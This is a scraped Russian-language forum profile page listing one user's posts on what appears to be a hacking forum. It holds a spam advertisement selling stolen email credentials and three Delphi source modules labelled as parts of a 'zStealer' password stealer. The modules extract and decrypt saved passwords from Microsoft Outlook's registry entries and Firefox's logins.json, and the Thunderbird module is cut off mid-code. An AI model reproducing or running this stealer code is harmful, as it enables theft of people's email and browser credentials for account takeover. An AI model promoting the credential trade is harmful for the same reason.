Перейти к содержанию

DamRaiX

Пользователь
  • Публикаций

    10
  • Зарегистрирован

  • Посещение

Репутация

21 Excellent

Информация о DamRaiX

  • Звание
    Rank №2
  1. Спам! Dilmaran7102 Today 8 18:17 Продажа mail pass imap/pop 3 Все страны Постояные пополнения Jabber ID werbeer@thesecure.biz Тема с отзывами на форуме Exploit https://dedik.cc/index.php?showtopic=134318 Sale mail pass imap/pop 3 All countries Constant replenishment Jabber ID werbeer@thesecure.biz Topic with reviews on the Exploit forum https://dedik.cc/index.php?showtopic=134318
  2. [Delphi] Microsoft Office Outlook password decrypt

    Тестировалось на MS Office Outlook 2010 // zStealer module (c) 2015 // https://dedik.cc/index.php?showtopic=86138 Unit MSOutlook; Interface Uses Windows, Classes, Registry; Function GetOutlookPWs(): TStringList; Var MSO_Srv_Ar : Array [1..1000] Of String; MSO_Log_Ar : Array [1..1000] Of String; MSO_PWD_Ar : Array [1..1000] Of String; MSO_ArNum : Cardinal = 0; MSOResult : Boolean = False; Gres : String; Type Accounts= Record Email: String; POP3User: String; POP3PW: String; IMAPUser: String; IMAPPW: String; End; Type _CREDENTIAL_ATTRIBUTEA = Record Keyword: LPSTR; Flags: DWORD; ValueSize: DWORD; Value: PBYTE; End; PCREDENTIAL_ATTRIBUTE = ^_CREDENTIAL_ATTRIBUTEA; _CREDENTIALA = Record Flags: DWORD; Type_: DWORD; TargetName: LPSTR; Comment: LPSTR; LastWritten: FILETIME; CredentialBlobSize: DWORD; CredentialBlob: PBYTE; Persist: DWORD; AttributeCount: DWORD; Attributes: PCREDENTIAL_ATTRIBUTE; TargetAlias: LPSTR; UserName: LPSTR; End; PCREDENTIAL = Array Of ^_CREDENTIALA; _CRYPTPROTECT_PROMPTSTRUCT = Record cbSize: DWORD; dwPromptFlags: DWORD; hwndApp: HWND; szPrompt: LPCWSTR; End; PCRYPTPROTECT_PROMPTSTRUCT = ^_CRYPTPROTECT_PROMPTSTRUCT; _CRYPTOAPI_BLOB = Record cbData: DWORD; pbData: PBYTE; End; DATA_BLOB = _CRYPTOAPI_BLOB; PDATA_BLOB = ^DATA_BLOB; Function CredEnumerate(Filter: LPCSTR; Flags: DWORD; Var Count: DWORD; Var Credential: PCREDENTIAL): BOOL; StdCall; Function CredFree(Buffer: Pointer): BOOL; StdCall; Function CryptUnprotectData(pDataIn: PDATA_BLOB; ppszDataDescr: PLPWSTR; pOptionalEntropy: PDATA_BLOB; pvReserved: Pointer; pPromptStruct: PCRYPTPROTECT_PROMPTSTRUCT; dwFlags: DWORD; pDataOut: PDATA_BLOB): BOOL; StdCall; Implementation Function CredEnumerate(Filter: LPCSTR; Flags: DWORD; Var Count: DWORD; Var Credential: PCREDENTIAL): BOOL; StdCall; External 'advapi32.dll' Name 'CredEnumerateA'; Function CredFree(Buffer: Pointer): BOOL; StdCall; External 'advapi32.dll' Name 'CredFree'; Function CryptUnprotectData(pDataIn: PDATA_BLOB; ppszDataDescr: PLPWSTR; pOptionalEntropy: PDATA_BLOB; pvReserved: Pointer; pPromptStruct: PCRYPTPROTECT_PROMPTSTRUCT; dwFlags: DWORD; pDataOut: PDATA_BLOB): BOOL; StdCall; External 'crypt32.dll' Name 'CryptUnprotectData'; Const RKey='Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook'; Procedure MSO_Add_To_Array(Server, Login, Password: String); Begin Inc(MSO_ArNum); MSO_Srv_Ar[MSO_ArNum] := Server; MSO_Log_Ar[MSO_ArNum] := Login; MSO_PWD_Ar[MSO_ArNum] := Password; End; Function WideStringToString(Const ws: WideString; codePage: Word): AnsiString; Var L: Integer; Begin If Ws = '' Then Result := '' Else Begin L := WideCharToMultiByte(CodePage, WC_COMPOSITECHECK Or WC_DISCARDNS Or WC_SEPCHARS Or WC_DEFAULTCHAR, @ws[1], - 1, Nil, 0, Nil, Nil); SetLength(Result, L - 1); If L > 1 Then WideCharToMultiByte(CodePage, WC_COMPOSITECHECK Or WC_DISCARDNS Or WC_SEPCHARS Or WC_DEFAULTCHAR, @ws[1], - 1, @Result[1], l - 1, Nil, Nil); End; End; Function DecryptOutlook(Buffer: Pointer; Length: Integer): String; Var DataIn, DataOut : DATA_BLOB; Output : String; Begin DataIn.cbData := Length; DataIn.pbData := Buffer; If CryptUnprotectData(@DataIn, Nil, Nil, Nil, Nil, 1, @DataOut) Then Begin Result:=PWideChar(DataOut.pbData); SetLength(Result,DataOut.cbData); LocalFree(DWORD(Pointer(DataOut.pbData))); End; End; Function GetOutlookPWs(): TStringList; Var Reg : TRegistry; SL, SL2, SL3 : TStringList; C, I, J, K, BufSize, Fail : Integer; AAccs : Array Of Accounts; Buffer, Encrypted : Array [0..1024] Of Char; S : String; Ws : WideString; Begin Result:=TStringList.Create; SL:=TStringList.Create; SL2:=TStringList.Create; SL3:=TStringList.Create; Reg:=TRegistry.Create; Reg.RootKey := HKEY_CURRENT_USER; If Reg.OpenKey(RKey,false) Then Begin Reg.GetKeyNames(SL); If SL.Count > 0 Then Begin For I := 0 To SL.Count - 1 Do Begin Reg.CloseKey; Reg.OpenKey(RKey, False); If Reg.OpenKey(SL.Strings[I], False) Then Begin If Reg.HasSubKeys Then Begin Reg.GetKeyNames(SL2); If SL2.Count > 0 Then Begin For J := 0 To SL2.Count - 1 Do Begin Reg.CloseKey; Reg.OpenKey(RKEY + '\' + SL.Strings[I], false); If Reg.OpenKey(SL2.Strings[J], False) Then Begin If Reg.ValueExists('EMail') Then Begin BufSize:=Reg.GetDataSize('EMail'); FillChar(Buffer, BufSize, 0); Fail := Reg.ReadBinaryData('EMail', Buffer, BufSize); Ws := ''; SetLength(Ws, BufSize); CopyMemory(Pointer(@Ws[1]), @Buffer[0], BufSize); S := WideStringToString((Ws), 1250); Result.Add('Mail: ' + S); End; If Reg.ValueExists('IMAP User') Then Begin BufSize := Reg.GetDataSize('IMAP User'); FillChar(Buffer, BufSize, 0); Reg.ReadBinaryData('IMAP User', Buffer,BufSize); Ws := ''; SetLength(Ws, BufSize); CopyMemory(Pointer(@Ws[1]), @Buffer[0], BufSize); S := WideStringToString((Ws), 1250); Result.Add('User: ' + S); End; If Reg.ValueExists('IMAP Password') Then Begin BufSize := Reg.GetDataSize('IMAP Password'); FillChar(Buffer, BufSize, 0); Reg.ReadBinaryData('IMAP Password', Buffer, BufSize); If (Byte(Buffer[0]) = 2) Then Begin CopyMemory(@Encrypted[0], @Buffer[1], BufSize - 1); Result.Add('Pass: ' + DecryptOutlook(@Encrypted, BufSize - 1)); End; End; If Reg.ValueExists('POP3 User') Then Begin BufSize:=Reg.GetDataSize('POP3 User'); FillChar(Buffer, BufSize, 0); Reg.ReadBinaryData('POP3 User', Buffer, BufSize); Ws := ''; SetLength(Ws, BufSize); CopyMemory(Pointer(@Ws[1]), @Buffer[0], BufSize); S := WideStringToString((Ws), 1250); Result.Add('User: ' + S); End; If Reg.ValueExists('POP3 Password') Then Begin BufSize:=Reg.GetDataSize('POP3 Password'); FillChar(Buffer, BufSize, 0); Reg.ReadBinaryData('POP3 Password', Buffer, BufSize); If (Byte(Buffer[0]) = 2) Then Begin CopyMemory(@Encrypted[0], @Buffer[1], BufSize - 1); Result.Add('Pass: ' + DecryptOutlook(@Encrypted, BufSize)); End; End; SL3.Clear; End; End; End; SL2.Clear; End; End; End; End; End; SL.Free; SL2.Free; SL3.Free; For C := 0 To Result.Count - 1 Do Begin Gres := Gres + Result[C] + #13#10; End; MSOResult := True; End; End. Использование: Memo1.Lines.AddStrings(GetOutlookPWs);
  3. [Delphi] Mozilla Firefox Browser Passwords decrypt

    // zStealer module (c) 2015 // https://dedik.cc/index.php?showtopic=86138 Unit FireFox; Interface Uses MiniReg64, SysUtils, Windows; Procedure GetFireFoxPasswords; Var FF_Srv_Ar : Array [1..1000] Of String; FF_Log_Ar : Array [1..1000] Of String; FF_Pwd_Ar : Array [1..1000] Of String; FF_Flg_Ar : Array [1..1000] Of String; FF_ArNum : Cardinal = 0; FireFoxResult : Boolean = False; Implementation Procedure FF_Add_To_Array(Server, Login, Password, Flags: String); Var I: Integer; Begin For I := 1 To FF_ArNum Do If (FF_Log_Ar[I] = Login) And (FF_Pwd_Ar[I] = Password) And (FF_Srv_Ar[I] = Server) Then Exit; Begin Inc(FF_ArNum); FF_Log_Ar[FF_ArNum] := Login; FF_Pwd_Ar[FF_ArNum] := Password; FF_Flg_Ar[FF_ArNum] := Flags; FF_Srv_Ar[FF_ArNum] := Server; End; End; Function GetFireFoxInstallPath: String; Begin RegGetString(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe\Path', Result); Result := Result + '\'; End; Function Splitter(TexTo, Delimitador: String; Indice: Integer): String; Var DelimiPos, I: Integer; Begin For I := 1 To Indice Do Begin DelimiPos := Pos(Delimitador, TexTo); If DelimiPos <> 0 Then Delete(TexTo, 1, DelimiPos + Length(Delimitador) - 1); End; DelimiPos := Pos(Delimitador, TexTo); If DelimiPos <> 0 Then TexTo:= Copy(TexTo, 1, Delimipos - 1); SetLength(Result, Length(TexTo)); Result:= TexTo; End; Function Pars(T_, ForS, _T: String): String; Var A, B: Integer; Begin Result := ''; If (T_ = '') Or (ForS = '') Or (_T = '') Then Exit; A := Pos(T_, ForS); If A = 0 Then Exit Else A := A + Length(T_); ForS := Copy(ForS, A, Length(ForS) - A + 1); B := Pos(_T, ForS); If b > 0 Then Result := Copy(ForS, 1, B - 1); End; Function ReadFile(Path: String): String; Var F : TextFile; S : String; Begin Try AssignFile(F, Path); Reset(F); While Not EOF(F) Do Begin Readln(F, S); Result := Result + S; End; Except End; S := ''; CloseFile(F); End; Function ParseMozJSON(J: String): String; Var Data, It, Ress: String; Begin Data := ReadFile(J); Data := Pars(',"logins":[{', Data, '}],"disabledHosts":[],"version":1}'); While Pos(',"hostname":"', Data)<> 0 Do Begin It := Pars(',"hostname":"', Data, 'timesUsed":'); Ress := Ress + Copy(It, 1, Pos('","', It) - 1); Delete(It, 0, Pos('encryptedUsername":"', It)); Ress := Ress + '<|>' + Pars('encryptedUsername":"', It, '","'); Delete(It, 0, Pos('encryptedPassword":"', It)); Ress := Ress + '<|>' + Pars('encryptedPassword":"', It, '","') + #13#10; Delete(Data, 1, Pos('timesUsed":', Data)); End; Result := Ress; End; Procedure CheckFireFoxPath(FireFoxPath: String); Type TSECItem = Packed record SECItemType: Dword; SECItemData: PChar; SECItemLen: Dword; End; PSECItem = ^TSECItem; Var NSSModule, hToken : THandle; NSS_Init : Function(ConfigDir: PChar): Dword; Cdecl; NSSBase64_DecodeBuffer : Function(ArenaOpt: Pointer; OutItemOpt: PSECItem; InStr: PChar; InLen: Dword): Dword; Cdecl; PK11_GetInternalKeySlot : Function: Pointer; Cdecl; PK11_Authenticate : Function(Slot: Pointer; LoadCerts: Boolean; Wincx: Pointer): Dword; Cdecl; PK11SDR_Decrypt : Function(Data: PSECItem; Result: PSECItem; Cx: Pointer): Dword; Cdecl; NSS_Shutdown : Procedure; Cdecl; PK11_FreeSlot : Procedure(Slot: Pointer); Cdecl; ProfilePath, MainProfile : Array [0..Max_Path] Of Char; ProfilePathLen : Dword; EncryptedSECItem, DecryptedSECItem : TSECItem; KeySlot : Pointer; UserName, Password, Buffer, HBuffer, U, L, P : String; A : Cardinal; fa : _WIN32_FIND_DATAA; Begin If FireFoxPath = '' Then Exit; If FileExists(FirefoxPath + 'nss3.dll') Then Begin SetCurrentDirectory(PChar(FirefoxPath)); LoadLibrary(PChar(FirefoxPath + 'msvcr100.dll')); LoadLibrary(PChar(FirefoxPath + 'msvcp100.dll')); LoadLibrary(PChar(FirefoxPath + 'mozglue.dll')); NSSModule := LoadLibrary(PChar(FirefoxPath + 'nss3.dll')); End Else Exit; If (NSSModule <> 0) Then Begin @NSS_Init := GetProcAddress(NSSModule, PChar('NSS_Init')); @NSSBase64_DecodeBuffer := GetProcAddress(NSSModule, PChar('NSSBase64_DecodeBuffer')); @PK11_GetInternalKeySlot := GetProcAddress(NSSModule, PChar('PK11_GetInternalKeySlot')); @PK11_Authenticate := GetProcAddress(NSSModule, PChar('PK11_Authenticate')); @PK11SDR_Decrypt := GetProcAddress(NSSModule, PChar('PK11SDR_Decrypt')); @NSS_Shutdown := GetProcAddress(NSSModule, PChar('NSS_Shutdown')); @PK11_FreeSlot := GetProcAddress(NSSModule, PChar('PK11_FreeSlot')); OpenProcessToken(GetCurrentProcess, TOKEN_QUERY, hToken); End; ProfilePathLen := Max_Path; ZeroMemory(@ProfilePath, Max_Path); GetEnvironmentVariable('APPDATA', ProfilePath, ProfilePathLen); A := FindFirstFile(PansiChar(ProfilePath + '\Mozilla\Firefox\Profiles\' + PChar('\*.*')), fa); While FindNextFile(A, fa) Do If GetFileAttributes(PChar(ProfilePath + '\Mozilla\Firefox\Profiles\' + fa.cFileName + '\logins.json')) <> DWORD($FFFFFFFF) Then Begin MainProfile := ''; lstrcat(MainProfile, PChar('Profiles\' + fa.cFileName)); If Not DirectoryExists(ProfilePath + '\Mozilla\Firefox\' + MainProfile) Then Exit; If NSS_Init(PChar(ProfilePath + '\Mozilla\Firefox\' + MainProfile)) = 0 Then Begin KeySlot := PK11_GetInternalKeySlot; If KeySlot <> Nil Then Begin If PK11_Authenticate(KeySlot, True, Nil) = 0 Then Begin HBuffer := ParseMozJSON(PChar(ProfilePath + '\Mozilla\Firefox\Profiles\' + fa.cFileName + '\logins.json')); While Pos(#13#10, HBuffer) <> 0 Do Begin Buffer := Copy(HBuffer, 0, Pos(#13#10, HBuffer)); Delete(HBuffer, 1, Pos(#13#10, HBuffer) + 1); ZeroMemory(@EncryptedSECItem, SizeOf(EncryptedSECItem)); ZeroMemory(@DecryptedSECItem, SizeOf(DecryptedSECItem)); U := Splitter(Buffer, '<|>', 0); UserName := Splitter(Buffer, '<|>', 1); Password := Splitter(Buffer, '<|>', 2); NSSBase64_DecodeBuffer(Nil, @EncryptedSECItem, PChar(UserName), Length(UserName)); PK11SDR_Decrypt(@EncryptedSECItem, @DecryptedSECItem, Nil); L := Copy(DecryptedSECItem.SECItemData, 1, DecryptedSECItem.SECItemLen); ZeroMemory(@EncryptedSECItem, SizeOf(EncryptedSECItem)); ZeroMemory(@DecryptedSECItem, SizeOf(DecryptedSECItem)); NSSBase64_DecodeBuffer(Nil, @EncryptedSECItem, PChar(Password), Length(Password)); PK11SDR_Decrypt(@EncryptedSECItem, @DecryptedSECItem, Nil); P := Copy(DecryptedSECItem.SECItemData, 1, DecryptedSECItem.SECItemLen); FF_Add_To_Array(U, L, P, 'web'); End; End; PK11_FreeSlot(KeySlot); End; NSS_Shutdown; End; End; //FreeLibrary(NSSModule); End; Function GetProgramFilesPath: String; Begin RegGetString(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir', Result); Result := Result + '\'; End; Function GetProgramFilesPathAlt: String; Begin RegGetString(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir (x86)', Result); Result := Result + '\'; End; Procedure FindFFMUI; Var hkHandle : HKEY; Len : DWORD; I, Err : LongInt; S : Array [0..Max_Path] Of Char; Path : String; Begin I := 0; If RegOpenKeyEx(HKEY_CLASSES_ROOT, 'Local Settings\Software\Microsoft\Windows\Shell\MuiCache', 0, KEY_ALL_ACCESS, hkHandle) = ERROR_SUCCESS Then Repeat Len := MAX_PATH; Err := RegEnumValue(hkHandle, I, S, Len, Nil, Nil, Nil, Nil); If Pos('firefox.exe', LowerCase(S)) > 0 Then Begin Path := ExtractFileDir(S) + '\'; CheckFireFoxPath(Path); End; Inc(I); Until Err <> Error_success; RegCloseKey(hkHandle); End; Procedure GetFireFoxPasswords; Begin //CheckFireFoxPath(GetFireFoxInstallPath); {CheckFireFoxPath(GetProgramFilesPath + 'Mozilla Firefox\'); CheckFireFoxPath(GetProgramFilesPathAlt + 'Mozilla Firefox\'); FindFFMUI; } FireFoxResult := True; End; End. unit MiniReg64; Interface Uses Windows; Function RegSetString(RootKey: HKEY; Name: String; Value: String): Boolean; Function RegSetRzString(RootKey: HKEY; Name: String; Value: String): Boolean; Function RegSetRz2String(RootKey: HKEY; Name: String; Value: String): Boolean; Function RegSetMultiString(RootKey: HKEY; Name: String; Value: String): Boolean; Function RegSetExpandString(RootKey: HKEY; Name: String; Value: String): Boolean; Function RegSetDWORD(RootKey: HKEY; Name: String; Value: Cardinal): Boolean; Function RegSetBinary(RootKey: HKEY; Name: String; Value: Array of Byte): Boolean; Function RegGetString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Function RegGetRZString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Function RegGetMultiString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Function RegGetExpandString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Function RegGetDWORD(RootKey: HKEY; Name: String; Var Value: Cardinal): Boolean; Function RegGetBinary(RootKey: HKEY; Name: String; Var Value: String): Boolean; Function RegValueExists(RootKey: HKEY; Name: String): Boolean; Function RegKeyExists(RootKey: HKEY; Name: String): Boolean; Function RegDelValue(RootKey: HKEY; Name: String): Boolean; Function RegDelValueRZ(RootKey: HKEY; Name: String): Boolean; Function RegDelKey(RootKey: HKEY; Name: String): Boolean; Implementation Const KEY_WOW64_64KEY = $0100; Function LastPos(Needle: Char; Haystack: String): Integer; Begin for Result := Length(Haystack) DownTo 1 Do If Haystack[Result] = Needle Then Break; End; Function RegSetValue(RootKey: HKEY; Name: String; ValType: Cardinal; PVal: Pointer; ValSize: Cardinal): Boolean; Var SubKey : String; N : Integer; Dispo : DWORD; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If n > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegCreateKeyEx(RootKey, PChar(SubKey), 0, Nil, REG_OPTION_NON_VOLATILE, KEY_WRITE Or KEY_WOW64_64KEY, Nil, hTemp, @dispo) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N); Result := (RegSetValueEx(HTemp, PChar(SubKey), 0, ValType, PVal, ValSize) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; Function RegSetRZValue(RootKey: HKEY; Name: String; ValType: Cardinal; PVal: Pointer; ValSize: Cardinal): Boolean; Var SubKey : String; N : Integer; Dispo : DWORD; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegCreateKeyEx(RootKey, PChar(SubKey), 0, Nil, REG_OPTION_NON_VOLATILE, KEY_WRITE Or KEY_WOW64_64KEY, Nil, hTemp, @dispo) = ERROR_SUCCESS Then Begin SubKey := Copy(Name + '\' , N + 1, Length(Name) - N); Result := (RegSetValueEx(HTemp, PChar(SubKey + '\'), 0, ValType, PVal, ValSize) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; function RegSetRZ2Value(RootKey: HKEY; Name: String; ValType: Cardinal; PVal: Pointer; ValSize: Cardinal): Boolean; Var SubKey : String; N : Integer; Dispo : DWORD; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegCreateKeyEx(RootKey, PChar(SubKey), 0, Nil, REG_OPTION_NON_VOLATILE, KEY_WRITE Or KEY_WOW64_64KEY, Nil, hTemp, @dispo) = ERROR_SUCCESS Then Begin Result := (RegSetValueEx(hTemp, PChar(ParamStr(0)), 0, ValType, PVal, ValSize) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; Function RegGetValue(RootKey: HKEY; Name: String; ValType: Cardinal; Var PVal: Pointer; Var ValSize: Cardinal): Boolean; Var SubKey : String; N : Integer; MyValType : DWORD; hTemp : HKEY; Buf : Pointer; BufSize : Cardinal; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ Or KEY_WOW64_64KEY, hTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N); If RegQueryValueEx(hTemp, PChar(SubKey), Nil, @MyValType, Nil, @BufSize) = ERROR_SUCCESS Then Begin GetMem(Buf, BufSize); if RegQueryValueEx(hTemp, PChar(SubKey), Nil, @MyValType, Buf, @BufSize) = ERROR_SUCCESS Then Begin If ValType = MyValType Then Begin PVal := Buf; ValSize := BufSize; Result := True; End Else FreeMem(Buf); End Else FreeMem(Buf); End; RegCloseKey(hTemp); End; End; End; Function RegGetRZValue(RootKey: HKEY; Name: String; ValType: Cardinal; Var PVal: Pointer; Var ValSize: Cardinal): Boolean; Var SubKey : String; N : Integer; MyValType : DWORD; hTemp : HKEY; Buf : Pointer; BufSize : Cardinal; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ Or KEY_WOW64_64KEY, HTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N); If RegQueryValueEx(HTemp, PChar(SubKey), Nil, @MyValType, Nil, @BufSize) = ERROR_SUCCESS Then Begin GetMem(Buf, BufSize); SubKey := SubKey + '\'; If RegQueryValueEx(hTemp, PChar(SubKey), Nil, @MyValType, Buf, @BufSize) = ERROR_SUCCESS Then Begin If ValType = MyValType Then Begin PVal := Buf; ValSize := BufSize; Result := True; End Else FreeMem(Buf); End Else FreeMem(Buf); End; RegCloseKey(hTemp); End; End; End; Function RegSetString(RootKey: HKEY; Name: String; Value: String): Boolean; Begin Result := RegSetValue(RootKey, Name, REG_SZ, PChar(Value + #0), Length(Value) + 1); End; Function RegSetRzString(RootKey: HKEY; Name: String; Value: String): Boolean; Begin Result := RegSetRzValue(RootKey, Name, REG_SZ, PChar(Value + #0), Length(Value) + 1); End; Function RegSetRz2String(RootKey: HKEY; Name: String; Value: String): boolean; Begin Result := RegSetRz2Value(RootKey, Name, REG_SZ, PChar(Value + #0), Length(Value) + 1); End; Function RegSetMultiString(RootKey: HKEY; Name: String; Value: String): Boolean; Begin Result := RegSetValue(RootKey, Name, REG_MULTI_SZ, PChar(Value + #0#0), Length(Value) + 2); End; Function RegSetExpandString(RootKey: HKEY; Name: String; Value: String): Boolean; Begin Result := RegSetValue(RootKey, Name, REG_EXPAND_SZ, PChar(Value + #0#0), Length(Value) + 1); End; Function RegSetDword(RootKey: HKEY; Name: String; Value: Cardinal): Boolean; Begin Result := RegSetValue(RootKey, Name, REG_DWORD, @Value, SizeOf(Cardinal)); End; Function RegSetBinary(RootKey: HKEY; Name: String; Value: Array of Byte): Boolean; Begin Result := RegSetValue(RootKey, Name, REG_BINARY, @Value[Low(Value)], length(Value)); End; Function RegGetString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetValue(RootKey, Name, REG_SZ, Buf, BufSize) Then Begin Dec(BufSize); SetLength(Value, BufSize); If BufSize > 0 Then CopyMemory(@Value[1], Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegGetRZString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetRzValue(RootKey, Name, REG_SZ, Buf, BufSize) Then Begin Dec(BufSize); SetLength(Value, BufSize); If BufSize > 0 Then CopyMemory(@Value[1], Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegGetMultiString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetValue(RootKey, Name, REG_MULTI_SZ, Buf, BufSize) Then Begin Dec(BufSize); SetLength(Value, BufSize); If BufSize > 0 Then CopyMemory(@Value[1], Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegGetExpandString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetValue(RootKey, Name, REG_EXPAND_SZ, Buf, BufSize) Then Begin Dec(BufSize); SetLength(Value, BufSize); If BufSize > 0 Then CopyMemory(@Value[1], Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegGetDWORD(RootKey: HKEY; Name: String; Var Value: Cardinal): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetValue(RootKey, Name, REG_DWORD, Buf, BufSize) Then Begin CopyMemory(@Value, Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegGetBinary(RootKey: HKEY; Name: String; Var Value: String): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetValue(RootKey, Name, REG_BINARY, Buf, BufSize) Then Begin SetLength(Value, BufSize); CopyMemory(@Value[1], Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegValueExists(RootKey: HKEY; Name: String): Boolean; Var SubKey : String; N : Integer; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If n > 0 Then Begin SubKey := Copy(Name, 1, n - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ or KEY_WOW64_64KEY, hTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N); Result := (RegQueryValueEx(HTemp, PChar(SubKey), Nil, Nil, Nil, Nil) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; Function RegKeyExists(RootKey: HKEY; Name: String): Boolean; Var SubKey : String; N : Integer; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If n > 0 Then Begin SubKey := Copy(Name, 1, n - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ Or KEY_WOW64_64KEY, hTemp) = ERROR_SUCCESS Then Begin Result := True; RegCloseKey(hTemp); End; End; End; Function RegDelValue(RootKey: HKEY; Name: String): Boolean; Var SubKey : String; N : integer; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If n > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE Or KEY_WOW64_64KEY, HTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N); Result := (RegDeleteValue(HTemp, PChar(SubKey)) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; Function RegDelValueRZ(RootKey: HKEY; Name: String): Boolean; Var SubKey : String; N : Integer; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE Or KEY_WOW64_64KEY, HTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N) + '\'; Result := (RegDeleteValue(HTemp, PChar(SubKey)) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; Function RegDelKey(RootKey: HKEY; Name: String): Boolean; Var SubKey : String; N : Integer; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE Or KEY_WOW64_64KEY, HTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N); Result := (RegDeleteKey(HTemp, PChar(SubKey)) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; End. Использование: Procedure FFReadArray; Var I: Integer; Begin For I := 1 To FF_ArNum Do Begin If I = 1 Then Log := Log + 'FireFox (' + IntToStr(FF_ArNum) + ' items)' + Cl + Cl; Log := Log + Cl4 + 'login: ' + Cl3 + FF_Log_Ar[I] + Cl + Cl4 + 'pass: ' + Cl3 + FF_Pwd_Ar[I] + Cl + Cl4 + 'serv: ' + Cl3 + FF_Srv_Ar[I] + Cl + Cl4 + 'flags: ' + Cl3 + FF_Flg_Ar[I] + Cl2; End; End;
  4. [Delphi] Mozilla Thunderbird Passwords decrypt

    // zStealer module (c) 2015 // https://dedik.cc/index.php?showtopic=86138 Unit Thunderbird; Interface Uses MiniReg64, SysUtils, Windows; Procedure GetThunderbirdPasswords; Var TB_Srv_Ar : Array [1..1000] Of String; TB_Log_Ar : Array [1..1000] Of String; TB_Pwd_Ar : Array [1..1000] Of String; TB_Flg_Ar : Array [1..1000] Of String; TB_ArNum : Cardinal = 0; ThunderbirdResult : Boolean = False; Implementation Procedure TB_Add_To_Array(Server, Login, Password, Flags: String); Var I: Integer; Begin For I := 1 To TB_ArNum Do If (TB_Log_Ar[I] = Login) And (TB_Pwd_Ar[I] = Password) And (TB_Srv_Ar[I] = Server) Then Exit; Begin Inc(TB_ArNum); TB_Log_Ar[TB_ArNum] := Login; TB_Pwd_Ar[TB_ArNum] := Password; TB_Flg_Ar[TB_ArNum] := Flags; TB_Srv_Ar[TB_ArNum] := Server; End; End; Function GetFileList(Const Path: String): String; Var A : Cardinal; fa : _WIN32_FIND_DATAA; Begin Result:=''; Try A := FindFirstFile(PansiChar(Path + PChar('\*.*')), fa); While FindNextFile(A, fa) Do Begin Result := Result + fa.cFileName + #13#10; End; Except End; End; Function GetThunderbirdPath: String; Begin RegGetString(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\thunderbird.exe\Path', Result); Result := Result + '\'; End; Function Splitter(TexTo, Delimitador: String; Indice: Integer): String; Var DelimiPos, I: Integer; Begin For I := 1 To Indice Do Begin DelimiPos := Pos(Delimitador, TexTo); If DelimiPos <> 0 Then Delete(TexTo, 1, DelimiPos + Length(Delimitador) - 1); End; DelimiPos := Pos(Delimitador, TexTo); If DelimiPos <> 0 Then TexTo:= Copy(TexTo, 1, Delimipos - 1); SetLength(Result, Length(TexTo)); Result:= TexTo; End; Function 